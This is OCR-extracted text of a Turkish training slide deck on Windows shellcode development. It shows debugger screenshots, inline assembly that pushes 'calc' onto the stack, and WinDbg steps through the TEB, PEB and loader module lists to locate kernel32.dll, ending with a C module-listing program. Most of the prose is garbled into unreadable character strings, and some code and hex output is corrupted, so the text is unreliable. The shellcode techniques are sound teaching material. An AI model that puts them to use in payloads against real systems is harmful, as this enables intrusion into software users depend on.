KFEFTPI el @N1fSYANXY .dz ySRSyftS oAl AY aKStf O02RSQdzy
AKGARF OPYPI {1l EYIRPd ! yOI]l 6dz { NGNLKIYS AceAyRS &
AKGARF OPYPI KIfSy O NXPFIYeGENTYzNge2 2t RAZE bz d2 BHY NB DE

5FKI a2y NI 1A AlA AyadNHzOdGAz2y F2ylarezy RIyYyNod RSct
F2ylarezy RIYNONYRS YIAYy F2ylaArézydzydz el EPNI Y T3
ISNB1tA woOced§BUNIZOKS2 VOPRS AAyRS AKGAGI OPYPI 7
a2 Ndzyadd 2tFNI1 a2yt yRPNPfYIFIaAaPYyP AaGSNBEHS] &KStf
A0t SYA ASNDSt SOGANBOATANRT & . dz | Ny Spef Poed i ND dzK B tizt
ISt AOGANNS] AceAy o6dz A0t SYA RS RA11+FGS FEYEYPT 38

53NI SYYAO {2Rdzvdd dz 6ANI RS LYYdzyAGe 580dz@3ISNDRI:




CwAA]l . AfIAIIEESWBANEA

} ABS
OELX 2Al0 {KSftfO2RS

R r -  e— i W N .

€] Fie v Debug  Plugins  Immi

» Computer » Windows7 OS(C:) » ESG » 5 » Release »

[Z) Open  Newfolder
Name :

stlog
I ; 5.Build.CppClean.log

Address |Value ASCI -

ate modified: 01.05.2014 10:45 Date created: 19.04.2014 15:28
Size: 6,00 KB

FERd B
—

LYYdzyAGe RS0dzZ3ISNI SELX 2A0G ISt A6 GANYBA ISR §SdH A § D
dz RS0 dz33SNJ AceAy 3ISEtAOGANREYAS @S SELX 2A0 3St A
AdlaasSyofe 12ydzadzyRI L5! tNB 1+FREFENIA&GA 2f Yl RPET

T O

ASAYAT A 120 YRAF DULPNKPERING 2f I NI 1 aChél ol al NI 1
t NP QRIY KFEGPNIXIFNBFYPI aYIFAYyé F2ylarézydzydd 1 9. 6

RS0dz3a3SNRRIF RIF 3I3S@SNIA 2fYFaAaP AceAy dzsanty I Y YPI P
LISy OSNBaAyRS ale 1tA1ftSeSNB| aD2 (2¢ @S G9ELINBASZ
F2ylaArezydzydd dzy o+t 6Pyl dzZ I 6F6Af ANRT @

-
[&8 immunity Debugger- - -

[€] File View Debug Plugins ImmLib Options Window Help Jobs
oS TE X P MY 1l emtwhcPkbzr..

h-l-l_l:ll'( BTRISK BiLGI GUVENLIGi VE BT YONETISIM HiZMETLERI &



cwhial . Af 3L I IBASWANEAR ADS
OELX 2Al0 {KSftfO2RS

LYYdzyAGeé 5S0dzZaA3ISNRPY Il &G§SNAYAYRS a/

Ftté SRAESY

bulunan adress 06 dzf dzy RdzE dzy dz RI KI | eeP]l O0ANJ II &GSNAYES 3l
GP1tF RPEPYPI RI I RNB& O6AftIAAAYAT &FYA Aann HA nné
T - 3 - EFER )

[é8 immunity Debugger - - -~ [CPU - main thread, module 5] . [SlE] = |

View Debug F

] ImmLib Opt Window Help Jok
MUX P I wiHRlia 1 em

tiwith ¢ Pk bezETin

* Registers (FPU)
E 75673378 ke

|CALL DWORD PTR DS

W Fill with NOP's

Address |Value ASCI]Comment

|11 @51 Program entry point

I FFPT I LISYOSNBaAAYRS ale 1ftA1ftSeSNB] daDarab2é¢ k a9
KI FPI IRl odz FRNB&GS KIFIy3aAaA RSESNI 2f RdzEdzydz 31 NBOo A
61 SE¢ &4SeSySerayAr aSeSNAS| o0dz  RNBAGS|{A 52hw53% &t
I RNBaAy KFy3IA Y2RNABEKNYRBLESRPEPRPRRE® Hf NYB| A A
LISy OSNB&aAyYyS 31T FdlFIoAftANRT © DI NRNENYNT 3JFA6A aTc
GYSNYyStondREt & Y2RNENYyNy oGSEG aS3YSyidA AeAyRS ¢

[&8 immunity Debugger- - -
[€] File View Debug Plugins ImmLib Options Window Help Jobs

% TE x oI w R lemtwhcPkbzr.

DS: [ECX+400018],AX

X+400074], 0E

[T11:81:851 Program entry point

h-l-l_l :I.( BTRISK BILGI GUVENLIGI VE BT YONETIiSIM HIZMETLERI




¢CwAal . Af TA | A3 WBEANE A
QELJ 2Ad

¢& Immunity Debugger - - - - =

M| File View Debug Plugins Immlib Options Window Help Jobs
B TE x> I MYl lemtwhcPkbzr.s? Python Developer Wanted
Section |Contains Type|Access |Initial|Mapped as

A
{KSttO2
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CtwAal AT IAISASYANEA ADS
9ELIX 2A0 {KSfftO2RS

V.{19[[/h59 t ghOWDag W’

L LI PeEPYPT FyFEATRS AlA GSYSE AKGARFe | YNYNT S  cef

T .ANARYOA&AA aKStfO2RSQdzydz dzy AKGA&lF e Rdz2l Ol €P ¢
adreslerini dinamik olarak bulabilmeliyiz.

T TIAYOAaA 2AYR264a !'tLQf SNANRS®I 8 RENA & k teY &Hz2 k @K
INGNLKEFYSEt SNA KFEFPi el &@NltSeSoAafYStA @S odz -
F RNBAAYA @AYS RAYIYA]l 2fFN}F1 odzZ F0AfYSEARAT @
F2ylaArezydz/dz {dz £ I yYRPEPYRI Y21 NEANLKREFYS &NYT B Y
A®AYRS o0dzf dzy Rdz€Edz YSNY St ondRff {NGNLKFYSAA | yi
@N1fSyAe2N®» ,AyS RS o0dz I NYyS1T NI SNAYRS | ENByS«
@8N1tSYS]T T 2NHzyRI YIRKRPESPNT| { RdINHAYE I NP& BeAO AT S

TKiAGlI @ @S LINPOf SYfE SNAYAT A 0SEftANISRAEAYAT S 31 NB

myOS oFaird 2ty O0OANAYOA (PaPYRIYy oFlotleltftPYDdP 41§
FEFyPYyl ®dazIdSNRY DS &1 Pt RPEP | RNBaAx (SaLAid SRSt A
AYAGNHzZOGA2YQPYP (dzf £yl OFEPI & . dzNF RIF TGSy KIF¥PI
8T RPEPYPI AeSNRAEAY AcehyRS 0 debilighlz.@antinibXaciyséhébBy (S
L2T Aaez2y ol ePYaPl 2fYF1=Z A1AyOA aSoSoA AasS ISt Ac
2t Y APYl el ft POYIFITOPN® ! {[w dz23dA  YYI &P KIFIfAYyRS ¢
I @NPOIF ' {[wAUZZIBENKYRER @&l &f 21 RQdzydzl dzy A Ay RS Rz
FIENJEP dz23dzZA F YFEREFE KFEFPI el &@FT RPEPYPI | RNBa Tl NJ
AeAy GSUNINIRNITSYyftSYSYAT 3IASNB]SOSNI DA B ERNRROBT & ¢
AeAyRS o0 NPYRPNXIF| akKStfO0O2RSQdzydzl dz K FPi &l &I Tl
2t dzoldz2NI OF EPYPT &aKStf O0O2RSQdzydz dzy RI  ARelgiiR S y dz f

KFEFFPIi el &@FlT RPEBNPBRRSYdzZA F ceP¥ NI AY]LFYyflNPYPT @I N

2 AYySESO F2ylarézydzyl LI NI} YSGNB 2fF NIl OSNBOSEAYA
dz8 3dzt I YI F RPYPI P 2t dzdddaNF Yy KIFNFESNAYATAY 2yt 4Pt
miktarda ASCll karakter 2y I £ G Pt P1 {1 NBPf PEPYl RIYNOGNNN¥S] Ao
1FNFLGSNIA]l O0ANI YSGAY AcwAy | E5 d@a3dzA | YIFEP ASAYAI
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- i) File Edit Search View Analysis Extras Window ? ][
3k dies s ke [
Offset(n) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF I
00000000 63 61 6C 63 } calc
b
Oﬁgl * Modified * Overwrite

GOFt O0¢ YSGYAYAY 2y GPEP]l |+FNBPEPEP dco cwm

Ldz FSFYFRE KEFEGPNIFYFYPT 3SNB1SY o IySYta yz21dtl

T .ANAYOA&A -yc YAYFENARAAYRS OSNAtSNAY KIF¥PI IR
oeidisS asSoreSairyRS KFEFPI el Sy RNON] RSESNI A
0SS aSOAeSaAYRS 2f RdzE€dzyiAd &I 1Ny EREYPSTaORTO

2yt iPft Pl RNTSYRS1{A 1l NbBPftPEPYP KIFPII &l
t! {1l AyadNHzOiA2y QP AfS &FTFOFrePYPI RSESN]

T TIAYOA y21dF / AGNAYIQIOSNKYRFPYIARB ] A &y BA KD

8L T1FOFEPYPT AGNAYIQAYATAY &d2ydzy Rl aydz ¢

f «eNyON y21aGF adlFO01QAy &N{asS]l FRNBat SNRSy RNo|
BSNAE SNAYAT A adGlO01QS 21T RREPYPI RRPERWPD| OBRA

y21alaPyl Aol NBG SRSOS| @

Ldzyl 3INB ! aaSYofte AYAGNHOGA2YQt I NPYPT 6dz 0S1AfF

f LWHzAK RnEHAHAHAAN 606dz AYAaUNHzOGAZ2Y GSNRAE SNA

f LWMzAK nEcoc/cmco 66aO0Ofl €k 1l NI1GSNISNA KIFPII &l

T Y20 So6Esx SalL)l 69{t RSESNR 9. - NBIAAGSNDRPYL

. dz 1 2Rdzydd dz AyEtAyS FaasdSvyote 2fFNF1 SUNIYRF]A
31 NBtAYO®
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D4 - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VIEW PROJECT BULD DEBUG TEAM TOOLS TEST WINDOW  HELP
©-0 B M| | b Local Windows Debugger ~ [Release -] [Win32 YA im

i
.
) |
]

Referans.c + X
(Global Scope) -|© maing

~ | Solution Explorer > 43X
@l o-2a@m| o &=

#include <stdio.h>

=int main()
{
char * veri;
__asm {
push ©x20202000
push ©x636C6163
mov veri, esp
}
printf("Stacke yazdigimiz metin: %s\n", veri);
printf("Metni yazdigimiz stack adresi: @x%x", veri);
getchar();

ErrorList  Output

R
eady

Dd r {Running) - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VIEW PROJECT BULD DEBUG TEAM TOOLS TEST WINDOW  HELP
o - SR P9 - » Continve - #A.inmd | % i

Process: |[7504] r.exe Susp 2 Stack Frame:

i
o
) |

Memory 1 .
imiz metin: calc
miz stack adresi: 0x30f95c

Disassembly
(Global Scopt

Locals REFTEEEY Call Stack Immediate Window

YyNT 3JA06A (12Rdzy AeiAyRS
y

h+l_| : I..( BTRISK BiLGI GUVENLIGI VE BT YONETISIM HIZMETLERI

bkl o

Search Solution Explorer (Ctrl+g) P~
131 Solution 'r' (1 project)
4 B
by External Dependencies
5 Header Files
1 Resource Files
4 ) SourceFiles
b ++ Referans.c

|

main VCCodeFunction -
= F
B Ces -
(Name) main
File G\esg\kaynakireferans.
FullName main
IsDefauit False
IsDelete False

IsFinal False
e False

Falea

sl o=

Pl - & x

Fatih Emiral ~ i3

@S NA adresimidlde
a2yNl S{NIyl &@FTRPNIOAEfRA]®

GiFyPYE I



CtwAal AT IAISASYANEA ADS
OELIX 2Al0 {KSffO2

V.ah5«[ !5w9{TbTb .![!Db

I FFPT L&l OSNRAR el YlF]l @S o0dz OSNAYAY NBFSNIya | RNE
AKGARLF ;e Rdz2 RdzEdzYdzZ 2 Ay R26a !t LQaAfylAYl &IRNBRRWSR Dy
OARRA O0ANJ (0S2NR] FfdelrLIPYPI 2fYlFIaP ISNB{A&@2NI®D . o
' @NPOF (G§S2NA]1 oO0AfIAYATA O0AYylFNEB RS6dzZZISNI I NI} OPf PE€
YySGt SOGANRA|L(8e apYRilzyddPtl 3IEBASYANYSeS 3St SOS 1 @

myOStAl1ftS YSNYyStoHnodRftQAY KFEFPTIIFRFE{A FRNBaAAYA 00
LINPOf SYaAT O0ANI 0AceAYRS az2yftl yRPNNI ] AcAy AKGAR&LF C
Y2RNE N A ceA WRBHNYSS NIHIORPE DMIY KSNJ 2 AyR26a LINPASAA A
a1 et SYASGA]L D 9€SNJ SELX 2A0 SRSOSeEAYAT LINR&aSa KIFTFF
IJSNB{1{aSeRA @8AyS YSNYyStounodRff AceAy RS 0 dgf Adzyd lyo f[ I2yf F
y210GFYPT @AyS YSNYyStoundRffQAY | RNBAAYAY 0dz dzy YI &
Y2RNEt Ny | RNB&AYA RIYRNNRNENYRSY o0dz Y2RNE N F NI YI |
| NYSEAYATS 1 T3IN 2¢tYF] BT SNB dFF RSOTEYTEANE G 6 h WMIRE f ¢

.dz FYFOPYPI | dz |

I 0AtYS] AceAy ASESGAY AAAGSYAVAY
81 LIPE I NPYRIY T &RFE

Lyl OFEPT & myOS o6dz &F LIPE | NP 64

.dzNI RF a1l T NYN SRSOSEAYANVAFENR ad ySP1 | BIRREASIDO k1 I B P

385 EeSNIA RSEAf RAND

btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI

THREAD ENVIRONMENT BLOCK (TEB)

e Adim-1: PEB’in adresinin bulunmasi

0:000> lteb
TEB at 7efddeee
fs:[0] — ExceptionList: 00261814
StackBase: 062700006
StackLimit: 00262000
SubSystemTib: 000000006
FiberData: ©0001e60
ArbitraryUserPointer: 96000000
0x30 Self: 7efddeee
EnvironmentPointer: 0000000
ClientId: 00001920 . 66081928
RpcHandle: 00000000
Tls Storage: 7efddé2c
fs:[30] —) PEB Address: 7efdeoo0
LastErrorValue: 2]
LastStatusValue: e
Count Owned Locks: e
HardErrorMode: e
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CtwAal AT IAISASYANEA ADS
E A { fto2

K
OSEAYAT (GSYSf adNridSa2iA KIFIFTFPIFRI1{A O
GAYRS YSNYyStouwodRfftQAY KFEFPIIFTRF{TA IR

S

S
-o0fd W2RR GFYPT C{ aS3aYSyid NBIAAGSNIDP GF N FTPYRIYy .
| 1TOGPNXP . dz GSNRA @Il LIPAP YS@POdzi GKNBFR AfS Af 3IA

¢9. @&lFLWPaPYPYy 19 aGoné¢ 2FFasSiG I RNBaAYyRISt PNRPOSHG.
GSNR &l LIJPaP Ao0fSGAY AAAGSYAYAY (dA fFyPYPYl KIFa ¢
R2INYFyidS SRAfYSYAOUGUAN t9. | RPYRIFY RIF Fyfl Pt C
2AYyR03I AfS @NlfSRACAPYI OGHNSOKPRAIGY dAoRY [t G T &I WF
FeP] 31 NBoAfYS] Aceiy |1 yO0OS GRR FTaYwonB8é¢ 1 2Ydzidz2af |
12Ydzidzat I t9. QAYy &l LJPAPYP Il NBOAfANRT @

btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI
PROCESS ENVIRONMENT BLOCK (PEB)
* Adim-2: PEB_LDR_DATA veri yapisinin bulunmasi

©:860> dt nt!_peb 7efdebo®

ntdll!_PEB
fs:[30] — +0x000 InheritedAddressSpace : @ ''
+0x001 ReadImageFileExecOptions : & ''
+0x002 BeingDebugged cex1 !
+0xee3 BitField : ex8 '
+0x003 ImageUseslLargePages : Qye@
+0x883 IsProtectedProcess : 8y®@
+0x003 IslegacyProcess : Qy@
+0x003 IsImageDynamicallyRelocated : Oyl
+6x883 Sk1pPatch1ngUser32Forwarders 1 8ye

0xOc

+0x803 SpareBits . Byooe

+0x004 Mutant : Bxffffffff Void

+0x008 ImageBaseAddress : ©x©1380600 Void

+0x00c Ldr : ©x77240200 _PEB_LDR_DATA
+6x016 ProcessParameters : 0x062f2178 _ .

t 9. @GSNR @I LJPaP AOf SGAYA ABANALOPSAYR y2AfydzL] daf)\fOl\yEPaYzPWul (i
R2INYIydGS SRAEYSYASUGUAN t9. | RPYRIY RIF FyfloPtlC
2AYyR03I AfS @N1fSRAEAYAT O0ANILINRP&SEA AcAy t9. @I LI
I ePBOoAKNIS] AceAy | yOS GRR FTavYwon8é (12Ydzid2tl t 9. ¢
12Ydzidzatl t9. QAy @l LIPAaPYP 31 NBOATANRT @

t9. OSNR &l LWPaPYPy |1 9- anO¢ 2FFaArAiaS I RNBaAAYRS uyt
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CtwAal AT IAISASYANEA ADS
OELIX 2Al0 {KSffO2

btri k

KERNEL32.DLL'iN ADRESiNiN BULUNMASI
_PEB_LDR_DATA

* Adim-3: Modul zincir listelerinin bulunmasi

©:000> dt _PEB_LDR_DATA ©x77240200
ntdll!_PEB_LDR_DATA

+8x006 Length : Bx3e
+0x004 Initialized cex1 !
+0xP08 SsHandle : (null)
Oxlc +0x00c InLoadOrderModulelList : _LIST_ENTRY [ ex2f4cf8 -
ox2f5990 ]
+0x014 InMemoryOrderModulelList : _LIST_ENTRY [ ©x2f4dee
- Ox2f5998 ]

+0x01c InInitializationOrderModuleList : _LIST_ENTRY [
ox2f4d98 - ex2f59a@ ]

+0x024 EntryInProgress : (null)

+6x028 ShutdownInProgress : & ''

+0x82¢ ShutdownThreadId : (null)

Pt 9. Y[ 5wyPs! ¢! yRSANAE NI fLIPYASP yAPR/NIAGFAY | = KIF FPT F REF 1Ak
APNI &Pyl 31 NB Y2RNf fAAGSEtSNAYA A6l NBG SRSy @[ L{
681FYyA TAYOANI OSNR fA&GSESNAO GSPBREYRESROBSHEHD A NI §NK
.dz | RNB&at SN aleSarayRS TAYOANRS At SNrRe&sS gSel 3ISNA
F2NBINR ftAYy] @FyA AfSNR ftAy]l FRNBaAaAYyA o0 NPYRPNFPN
geriyelinkk RNBa Ay A A ceSNANWD
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btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI

MODUL ZiNCIR LISTESI

* Adim-4: Baslatilma sirasina gore modiil zincir listesinin izlenmesi

a ©:000> dt _LIST_ENTRY ©x7724021c
ntdll! LIST_ENTRY

[ ©x2f4d98 - ©x2f59a@ ]
+0x000 Flink : ©x002f4d98 _LIST_ENTRY [ ©x2f5230 - ©x7724021c ]

+0x004 Blink : ©x@02f59a@ _LIST_ENTRY [ ©x7724021c - ©x2f5118 ]

©:000> dt _LIST_ENTRY ©x002f4d9s
ntdll! LIST_ENTRY
[ Ox2f5230 - ©x7724021c ]
+0x000 Flink : Ox002f5230 _LIST ENTRY [ Ox2f5118 - ©x2f4d9s ]
+0x004 Blink : ©x7724021c _LIST_ENTRY [ ©x2f4d98 - @x2f59a0 ]

©:000> dt _LIST_ENTRY ©x@02f5230
ntdll!_LIST_ENTRY
[ ex2f5118 - ©x2f4d98 ]
+0x000 Flink : ©x082f5118 _LIST_ENTRY [ ©x2f59a@ -lf 230
+0x004 Blink : ©x082f4d98 _LIST_ENTRY [ ©x2f523@ -

t9. [2FRSNISFOGFQYPY 19 am/ ¢ I RNBaAAYRS ol ot 4GPt Y
F RNB&aA oOdzf dzy dzNX» . dz I RNBadS @SNIIFEIFOF] Afl1 Y2RNf
2YyNI 3IStSy WRRNERKMSNAY R ALREARA NI %AYOANI Af]l o0l o
GGAEAYRS &2yt yPNE &FyA AfSNR Ayl I RNB&ft SNRA 0 A
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CtwAal AT IAISASYANEA ADS
OELIX 2Al0 {KSffO2

btri k

KERNEL32.DLL'iN ADRESINiN BULUNMASI

MODUL ADI

* Adim-5: Modul adinin bulunmasi

©:000> dd oxee2f4de8 + 20
ee2f4dbg8 77185bc4 ©eee4604 eeeeffff e82f59cc
002f4dc8 772448e0 52leaBe’7 00000000 00000600

9:000> db 77185bc4
77185bc4 6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c @0 n.t.d.1l.1...d.1.

77185bd4 6¢c 00 0@ 00 14 00 16 00-ed® 5b 18 77 5c @0 53 @0 l........ [.w\.S.
77185be4 59 00 53 00 54 00 45 00-4d 00 33 00 32 00 5c 00 VY.S.T.E.M.3.2.\.
77185bf4 0@ 0@ 90 90 90 90 90 8b-ff 55 8b ec 51 51 83 65 ......... U..QQ.e

77185c04 fc @0 53 56 8b 35 @c 02-24 77 57 81 fe ©c 82 24 ,.SV.5..%uwW....%
77185c¢14 77 74 31 8d 45 f8 50 6a-09 8b fe 8b 36 6a 01 ff wtl.E.Pj....6J..

3 fFGPEYE APNI APyl 31 NB 2f dzo  dzNHzt Ydzo6 Y2 RNt Sy N
T2NYI G2PRNRF AYA YA o6dzf dzy YF 1 dGF RPN ! bL/ h59 FT2NXIGPYyR

alanla ifade edilir.

{ dzydzy NI SNAYRS Iyt GGPEPY o6dz 82fdz LYYdzyA(& 586 dz=
ISNDS1t SOUGANANBSYAT PYIEFFTRIIKINKS VWA YRSET HzNB 8Tz &1 LIPE

LYYdzyAGGé RS0dzZISNRRIFI KSNKFY3IA 0AN) dz23dzA | YI &8P &NJ

/t! Fyl SIN}YYPYPYy 5dzYL) 61 t NYNyYS &Fe 1fA1fSesSNB]
eSOANBEt AYOD
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OELX 2Al0 {KSftfO2RS

0 Debugger - - == [CPU - main thread, module ntall]
[€] File View Debug Plugins Immlib Options Window Help Jobs
O CIE «ax» I WY 1l emtwhcPkbzr. Python Developer Wanted

775201B8

*|Registers (FPU)

Backup
Search for

Goto

Hex
Tet
Short
Long Signed decimal

Float Unsigned decimal

+ 0018FFFO sisisjelelelels

Disassemble Hex

Special Address
Addr&mlh ASCI dump

Appearance
Address with UNICODE dump

[[12:16:157 Single stop event at ntdl1.775201B8 — use Shift+F?/F8/F9 to pass exception to program
= =——— S

5FKIFI a2y ¥l /GNIbD AfS FavY&eS/i @ YIORNBAAYRS odz dzyl y

o o S

Python Developer Wanted

*|Registers (FPU)

+ 0018FFFO

0 A
( . 0018FFE 00401279 yl@. s.<ModuleEntryPoint ‘

| [12:16:157 Single step event at ntdl11.?75201B8 — use Shift+F?/F8/F9 to pass exception to program
-_— e

DSt Sy oAft3IATSNAY Sy Naild aPNIaA&PyRI &2t GFNIF4al | F
F2NXYIFGPYlF RIYNOSOS{TGAND t9 BSNA &l LIPAPYPYy 1 9. 6
1 NBOAfTANRT @

.
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+ 0018FFFO

hif €+F7/F8/F9 to pass exception to program

(p)

dz RSESNI NEEGNXVBREcANSET RS ac2tt26 Ay 5dzYL¥ &dS@eSy!
e T e T U =T )
ity Debugger - - - - [CPU - main threz = ntdll] (

Fde v;;v Debug Plugins imleb‘Optuons Window Help Jobs R EEE
% EIE x> i%ilidd+f lemtwhcPkbzr..
77520};8 5C24 08 A
ﬁ— ,,,,,
| 12:16:151 Single step event at ntdl1.775201B8 — use Shift+F?/F8/F9 to pass exception 'toip»ﬂan Pause.

dz  RNB&AYRS NI SNAYRS c@iFi GPl1tFRPEPYPIRI | RNBa
GMOEé I RNBAAYRS o610t GPEYF APNI APYINBDSER 102 RN £ A

dzNJ Rl @AYy S @SN YPYPY NI SNAYRS ale 1tA1ftSe&sh

GSNRA FEFyPYyl dzZ |8

.
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} ABS
OELX 2Al0 {KSftfO2RS

Comment + 0018FFFO

[[12:16:157 Single stop event at ntdl1.775201B8 — use Shift+F?/F8/F9 to pass exception to program
=_—_ == ——

AyS Af1 FRNB& NI SNAYRS oATid GPlflFelfPY®dP DI NRNEN

5

B e T P )

& Immunity Debugger - - - - [CPU - main thread, module ntdll] —
[€] File View Debug Plugins Immlib Options Window Help Jobs
I EIE «x » i2lisd+f lemtwhcPkbzr. s ? e
77520188 5C24 08 . +EBX * Registers (FPU)
. EAX 4 /9 s5.<Mod

+ 0018FFF0

|[12:16:157 Single step event at ntd11.775201B8 — use Shift+F?/F8/F9 to pass exception to program
e =

ause

dzNJ Rl FHIEINNIRSY Y2RNf | RPYy Py (dzidzZ Rdz€dz | £ yPYy | RN

GC2tft26 Ay 5dzYL¥ RAGSEAYD .dz FElyl 3ISEtRAEAYATRS
1tA1EtS8SNB|1 ¢SEG k ! yAO2RSQl RI y Nty Debuyjeradrésibii RS Y
GSNR&S A0l NBG SGGAEAYA Fytl&FrOrl 1FRIENF{PEEP 2¢
&l yPYRIE 31 &0§SNRAO®

.
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[€] File View Debug Plugins ImmLib Options Window Help Jobs
OB EIE ax » w4 1l emtwhcPkbzr..

UNICODE dump Bl 0000000
4 ntdll.dll.9.58 :
F8

ause

[T12:16:151 Single step event at ntdll.?775201B8 — use Shift+F?/F8/F9 to pass exception to program
=_=— —— —

GG Gdz8tF NPt GS{NINIAE] Y2RNt O0Af SOSYA iBHSNR | €k
d2YNI 1A Y2RNfS ASINBG SRA@2NX» . dz SNRA NI SNAYRS 3
TAYOANRSTA OANJ &2yNI 1A Y2RNf AfS AfIAEA OSNAE SNI

GSNBY OSNR | f | yAPNGY diff H Yol GYPREYPPWP T NRIFS NIMyYRB Y IS ceYAio 2
TR e R W )

S Immunity == -~ CPU - main thread, module ntdil]

ug Plugins Immlib Options Window Help Jobs
OHCIE ax» i ML lemtwhcPkbzr..
77520188 5C24 08

+ 0018FFF0

ause

| [12:16:151 Single step event at ntdl1.775201B8 — use Shift+F?/F8/F9 to pass exception to program

'Y OPYPI X @FyA Y2RNf | RNBAAYA odzZ YI &l
GSaLAd SGGAEAYAT RS o6dz 6Af S y fl
31 NBz2D Af ANR

i [ k BTRISK BiLGi GUVENLIGI VE BT YONETISIM HIZMETLERI
btris ; L



¢ wh &1

& Debugg
[€] File View Debug Plu i
oS CIE «ax» I w¥HlEY 1l emtwhcPkbzr..

+ 0018FFFO

ARHAIW@
QELJ 2Ad

@S WHANEA A
{KSttO2

l'eyP AO0fSYA OANJ dzé 3dzft ' YI | N OPft PEP AL S
OATS tAaGSEtSesSOS]T 1A FEHIfElF O6ANI Y2RNf @

1. #include <stdio.h>

2

3. int main()

4. {

5. char *modulAdi;

6 int ilkAdres;

7 int  flink;

8

9. _asm{

10. pushad

11. mov esi, fs:[0x30]; PEB adresi

12. mov esi, [esi + 0xOc]; PEBLOADERDATAadresi

13. movesi, [esi + Oxicl; " AT 1 AOOLDAOCH AIAT A Kidtesinin

adresi

14. mov ilkAdres, esi; ilk liste AEI A1 ATl afresE ]l

15. mov ecx, [esi]

16. mov flink, ecx; ilk liste AET AT Alfink EAA0 AOE

17. mov ebx, [esi + 0x20]; ebx = InInitOrder[0].module_name(unicode)

18. mov modulAdi, ebx; - T AKAIA C1 &ifesi

19. popad

20. }

21. while (flink 1= ilkAdres){ /ison AEIl A1 AnET AA 0 APER

>Ldr.InInitOrder List Entry vei UADCOET AOddé&

22. wprintf(L  "%s\ n", modulAdi);

23. __asm{

24. pushad

25. mov esi, [flink]; Bir sonraki liste AET A1 ATlafresEl

26. mov ecx, [esi]; Bir sonraki liste AEI AT Alfink EAA0CAO

27. mov flink, ecx

28. mov ebx, [esi + 0x20]; - T AKAIACs OT EAITARIAOCT AAS

29. mov modulAdi, ebx; - T A KAIA C1 &ifesi

30. popad

31. }

32. }

33. getchar();

34. }
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ModulListele.c

ta3dzA F YFYPY O0ANARYOA AyfAyS FaasSvyofe ol ft NYNYRS |Y
adresini bulmak.
a | f NYNYRS Aas$s T)\yO)\NJfAéG

TILAYOA AYytAY 0
| RNB &t SNAYS dzZ I 6 P& 2 NHZ o

Y2RNf f SNAY

p
9 o

S I
Rf I
Tft1 FRPYRIFI C{ NBIAAGSNDPYPY 19- on 2FFaSiQAyRS t
NB 3 A & (0 BINKDPY/ 2 NHzI| ®

t9. QAY 19 n0O 2FFaSGQAYRS o6dzf dzyly I RNBAA &FyA t ¢
F1GF NPeé 2 NHz o

9. Y[ h!59wys5! ¢! GSNRA &FLIPAPYPY 19- M/ 2FFaS0QAYF
FLIPEF NP T AYOYNRRNFEAAL pdzKHz/ Y §@F RPN TE]1 0Af S$S06Sy
SGYS1 FYIOPetl O6ANI/ RSEASISYAYS |FeRSRA&2NHA o

50 KFE &2y NI Af]1 tA80GS 0AtSSSYAYAY I RNBaAAYS ISceres?
''bL/ h59 F2NYEdzPlYRIY ByzildR REZA A 06 dzf dzy dz& 2 N3 /  dz& 3 dz |
I RPYPY F RNBAAYA Y2RdA ! RA / RSEAGTISYAYS F1dF NPe2N

Syofeé ol t NYN GFYFYEFYRPLGFEY &2y N
E.NI 2 dzi LJdzi QF e+ 1 Pé 2

FYPT P RSNISeStAY @S dz@3dA I YIyPYy azy

Dq ModulListele (Running) - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VIEW PROJECT BULD  DEBI TOOLS TEST WINDOW  HELP

e - e W - 0 . ease 52 [ o8

1 listesinin baslangi¢ adresi

8 TTeCK: =6 - dege
mov ebx, [esi + ©x20]; ebx = InInitOrder[@].module_name(unicode)
mov modulAdi, ebx; Modiil adinin adresi

popad

No data available

Locals LEFIEEEY Call Stack Immediate Window

DI NRNENYNT 3A0A o6dz 6l &Ald d223dzA I YIYyPY KIFFPI I £y
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[ = CemeEzED pView
I ~IMAGE_DOS_HEADER

1~ MS-DOS Stub Program
& IMAGE_NT_HEADERS
|- IMAGE_SECTION_HEADER text
|- IMAGE_SECTION_HEADER _data
i~ IMAGE_SECTION_HEADER .rsrc
i~ IMAGE_SECTION_HEADER reloc
- SECTION _text
i~ SECTION .data
- SECTION .rsrc
- SECTION .reloc

00000000 4D 5A 90 00 03 00 00 00
00000010 B8 00 00 00 00 00 00 00
00000020 00 00 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 00
00000040 OE 1F BA OE 00 B4 09 CD
00000050 69 73 20 70 72 6F 67 72
00000060 74 20 62 65 20 72 75 6E
00000070 6D 6F 64 65 2E 0D 0D 0A
00000080 09 67 18 F6 4D 06 76 A5
00000090 44 7E E5 A5 7C 06 76 A5
000000A0 44 7E E4 A5 4C 06 76 AS
000000B0 44 7E F5 AS B1 06 76 A5
000000CO 44 7E E2 AS 4C 06 76 AS
000000D0 52 69 63 68 4D 06 76 AS
000000E0 00 00 00 00 00 00 00 00
000000F0 85 9A 15 53 00 00 00 00
00000100 0B 01 09 00 00 00 0D 00
00000110 93 32 01 00 00 00 01 00
00000120 00 00 01 00 00 00 01 00
00000130 06 00 01 00 00 00 00 00
00000140 AE 05 11 00 03 00 40 01
00000150 00 00 10 00 00 10 00 00
00000160 70 FF 0B 00 B1 A3 00 00
00000170 00 00 OF 00 28 05 00 00
00000180 00 00 00 00 00 00 00 00
00000190 34 07 OD 00 38 00 00 00
000001A0 00 00 00 00 00 00 00 00
000001B0 10 35 08 00 40 00 00 00
000001CO 00 00 01 00 FO OD 00 00
000001D0 00 00 00 00 00 00 00 00
000001E0 2E 74 65 78 74 00 00 00
000001F0 00 00 0D 00 00 00 01 00
00000200 00 00 00 00 20 00 00 60
00000210 OC 10 00 00 00 00 OE 00

h'l'l-| = I.( BTRISK BiLGI GUVENLIGi VE BT YONETiSIM HiZMETLERI

NANA220__An_n_0n_nn_an_nn_nn _nn_

Wg'ég kernel32.dII

Raw Data

04 00 00 00 FF FF 00 00
40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 E8 00 00 00 .. ...

21 B8 01 4C CD 21 54 68
61 6D 20 63 61 6E 6E 6F
20 69 6E 20 44 4F 53 20
24 00 00 00 00 00 00 00
4D 06 76 A5 4D 06 76 A5
4D 06 77 A5 3E 05 76 A5
